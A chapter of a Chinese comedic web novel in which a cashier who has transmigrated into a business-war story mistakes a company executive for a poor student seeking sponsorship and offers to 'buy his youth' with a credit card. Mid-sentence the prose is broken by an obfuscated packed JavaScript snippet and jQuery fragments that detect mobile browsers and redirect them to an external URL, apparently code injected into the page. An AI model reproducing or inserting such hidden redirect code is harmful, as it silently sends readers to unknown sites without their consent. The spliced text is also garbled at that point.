得知这个正在吃薯片的青年正是这家便利店的收银员，段秦停顿了片刻，礼貌回答：“抱歉，不知道现在便利店的竞争这么激烈。”
竟然已经开始实行西服式了，可见民生多艰。
宋深雪非常认可：“确实很激烈。”
那只招财猫还在收银台上苟延残喘，早上被宋深雪一番“修理”，不知道是哪个零件坏了，整个猫爪啪唧一下掉了下来，咕噜噜滚落到地上，彻底坏掉。
宋深雪和段秦对视一眼，宋深雪：“……”
都怪可恶的商战！
他大概已经知道是谁做的了。
因为根据猫爪反向挖钱的方向，再运用抛物线勾股定理以及概率学和坐标系，都将证据指向了便利店对面的那家小卖部。
当然最直观的一点是，那家小卖部从早上开始，已经放了一整天的《八方来财》，司马昭之心路人皆知。
宋深雪自觉已经找到了真相，将薯片放在嘴里咬的嘎嘣脆。
该死的，他一定会找机会复仇！
站在店门口的段秦有点困惑，怎么回事，突然感觉便利店里的温度直线下降了？
没作他想，段秦走到冰箱柜旁，从里面取出一瓶矿泉水。
拿着水走到收银台前，正欲结账时，兜里的手机在这时响起。
他垂眸扫了眼来电显示。
是董事会的人，能在这个时间点打他的私人电话，应该是出了突发情况。
段秦看了下还站在货架旁怒嚼薯片，仿佛行走的中央空调的宋深雪，对他略带歉意的点点头。
将矿泉水留在收银台上，他示意宋深雪自己先接个电话，一会儿再回来结账。
宋深雪眼睁睁看着他推开玻璃门，头也不回地走了。
什么意思？？
他眨了眨眼，片刻后才理解对方这个行为的意思。
——年轻的大学生打开付款界面看了一眼，面露难色，大概是因为囊中羞涩，他只好放下矿泉水，萧瑟离去。
在那一刻，宋深雪的脑海中铃声大作。
好熟悉的剧情，会有这么巧吗。
他起身走向了收银台的方向，打算捡起掉在地上的猫爪，再重新修补一番。
刚俯下身，却注意到旁边的地上躺着一封信件，显然是刚刚男人从兜里拿出手机时，连带着一起掉出来的。
宋深雪无意偷看别人的隐私，但无奈信封口并没有封严实，信纸从里面露出了大半。
他只是随意一扫，便将内容尽收眼底。
这是一封资助自荐信。
【尊敬的会长您好，我是来自大牛村的段勤，今年十八岁，自小成绩优异，连任班级班长多年，家中有一头牛、二头猪、三口人、四只鸡……】
等下，宋深雪瞪大眼睛，人可以和牲畜放在一块说吗？
好森严的等级制度。
【我三岁时父母双亡，与爷爷和二叔相依为命，但天有不测风云，爷爷年纪大了，半夜解手从炕上掉下来摔断了左腿，二叔游手好闲摸进寡妇家的时候被打断了右腿，自此家中只有我和牛能够下田劳作。】
【为了凑齐爷爷和二叔的治疗费，花光了家中的所有积蓄，还背上了一笔不菲的债务，现如今面对大学的学费，我们早已束手无策，一家三口都险些下海做鸭，但是店里不收……】
【无奈之下，二叔提出他可以卖肾送我上大学，但他的其中一颗肾早在当年卖血的时候被黑心医院顺便割掉了，再卖的话，家里的人就和猪一样多了……】
信件很长，宋深雪并没有全部看完。
但他的脑子已经自动提取出了关键词——清贫，学费，做鸭。
好一朵贫困的小白花。
宋深雪的眼前浮现出了刚才那名男大英俊的脸，以及朴素的打扮。
年轻却不青涩，挺拔的身板有种风雨摧打过后的成熟稳重，如刀凿斧刻般深邃的眉眼笼着淡淡的倦意，似是被这纷扰的生活琐事困扰，厌世感如影随形。
连买瓶水都犹豫不决，可见他的日子有多艰难，已经到了要写资助自荐信的地步。
但是自荐信又写成这样，很难说有没有人会资助他。
如果没有人帮助他，说不定真要辍学下海，误入歧途了。
这一刻，宋深雪感受到了血脉的召唤。
*
“如果他连这点事都办不好，我有理由怀疑他的能力是否匹配他现在的地位，既然如此不如直接换人，公司不是用来给任何人镀金的地方。”
“我刚刚已经亲自拜访了对方，关键文书已经到手，具体等我回去再处理。”
段秦三言两句处理好工作的事宜，不由抬手捏了捏紧皱的眉心。
前段时间集团的某位高层将自己的孙子塞进了一个关键项目，这个金玉其外败絮其中的公子哥毫无能力可言，愣是将板上钉钉的项目弄垮了。
为此段秦不得不亲自出马，去拜访一个重要客户，以期能够挽回损失。
打听到这位老人家经常在附近的一个大学公园出没，段秦投其所好陪他下了三个小时的围棋，终于获得对方的信任，这期间连水都顾不上喝一口。
说到水……段秦忽然想起自己还有一瓶尚未付款的水，转身又折回了便利店。
在推开玻璃门的前一刻，他的注意被一旁挂在门上的牌子吸引了。
小小的一块长方形牌子，本来是应该用来显示“正在营业中”的用途，却被人用笔修改成了停止营业。
而在这道字迹之外，又有人重新在上面施加了痕迹。
“没有NO OPEN”。
段秦：“……”
双重否定表肯定，知识以一种猎奇的方式强行进入脑子。
他沉默了一下，推门进入。
第一次进入的时候没有注意到这个牌子，一定是因为太离谱被眼睛自动屏蔽了。
他走入便利店，那个清隽的收银员已经回到了自己的工作岗位。
不知为何，段秦感觉对方的眼神一直饱含深意地落在自己身上。
低头一看，原来是为了迎合老人家的审美，他今天特地穿了身高中时的旧衣服，袖口都有些短了。
那瓶水还在收银台上，段秦拿出手机，准备付款。
一只白皙修长的手忽然伸出来，盖住了付款的扫码机。
段秦抬头：“？”
“你叫段勤？”
收银台后的青年忽然开口，嗓音笃定。
段秦顿了一下，似有些意外：“你怎么知道我的名字？”
他这趟是私人行程，为了低调连车都没有开，这人是怎么认识他的？
是商业对手派来的卧底，抑或是他家里人终于按捺不住了？
得到确定的答案，青年倏尔展颜，五官瞬间灵动起来，那双像寒山雪雾一样漂亮的眼睛亮起来，有点晃眼。
“是你就好。”
宋深雪笑眯眯地说。
段秦看着他的脸，明明那一瞬间他的脑子里闪过很多想法，在接触到对方澄澈的眼睛时，心底的猜测莫名安静下来。
安静如鸡.jpg
宋深雪的手中不知何时多了一张信用卡，夹在指间，晃了晃。
“学费
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219833|181468||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
够了吗？”
段秦的视线被他漂亮细长的手指吸引，看到那张夹在食指与中指缝隙中的信用卡，似乎明白了什么。
段秦：“够的话，借你一点？”
“不，男人。”宋深雪邪魅一笑，“你很干净，够资格给我生孩子。”
段秦：“……？”
或许是因为宋深雪的话太惊世骇俗，段秦足有一分钟没有说话。
他表情平静，眼眸幽深地注视着宋深雪，不知在想些什么。
宋深雪还在等待他的回答。
他并不着急，因为他等这一天，已经等待了太久。
在便利店对清贫的小白花一见钟情，多么罗曼蒂克的初遇，一切都如命中注定一样顺理成章。
宋深雪毫不怀疑，这人就是自己等待已久的小白花。
试问天下哪有这种巧合，他在这家便利店工作，而段秦也恰好走了进来，还让他知道了他现在的窘境。
再深想一下，说不定就连他穿进这本商战文，也是上天的指引。
毕竟他生来就是为了成为某个人的主人的！
段秦很缓慢地眨了下眼睛，开始回忆是自己的哪个行为引起了对方的误会。
难道是因为刚才他用左脚先进的门？
宋深雪还在霸道地说：“跟了我，你以后就不用下海做鸭了。”
段秦一顿，表情管理差点失效，他居然还要做鸭？
宋深雪并不催他，嘴角噙着势在必得的微笑，那张夹在指间的薄薄卡片仿佛一纸契约，即将为他们的关系盖章定论。
段秦注视他良久，早已将先前他是卧底的猜测重新打碎重组。
卧底都有相当厉害的专业能力，眼前这位显然也很厉害，他厉害就厉害在不明觉厉。
“能再说说选中我的原因吗。”段秦冷静开口，“我需要斟酌一下。”
宋深雪微微一笑，拿出了那封自荐信。
段秦凝目望去，有点眼熟。
似乎是今天基金会的下属交给他的自荐信，据说写信的学生家境异常贫困，但因为写信风格太像余华被以为是在投稿第一人称小说，才一直没被选中资助。
巧的是这名贫困生与段秦的名字有些相似。
段秦还没来得及审阅这封信，原本打算回去后就看看，没想到掉在了这里。
联系上下文，段秦终于隐约搞明白了现在的局面，看来是将他错认成了需要资助的学生。
段秦眉心舒展，好消息不是仙人跳，坏消息貌似比仙人跳更加高级，对方甚至可以随时随地展开仙家对话。
他从未见过这么不按常理出牌的人。
很……新奇。
也很想看看他还能做些什么。
宋深雪拿出自荐信后，就见男大先是一怔，随即脸上的表情都深沉了许多。
这是发现窘境被无情揭露，想要奋力反抗了？
宋深雪对此剧情了如指掌，这都是先辈们智慧的结晶。
他语气低沉：“五百块，够不够买你的青春？”
本来应该是五百万，但鉴于宋深雪现在没有，还倒欠银行五百万，所以只好折个价了。
虽然折了价，但气势丝毫未减，宋霸总打算用钱收买小白花的灵魂，按套路，应该会引起对方的强烈反感。
这才是强取豪夺的精髓啊！
男人静立半晌，那双平静的眼眸停留在宋深雪身上，似乎是将他上下看了个遍，尤其是在那张白净精致的脸上描摹了数次。
最后轻轻挑眉，抬手接下了宋深雪双指间的信用卡。
“好啊。”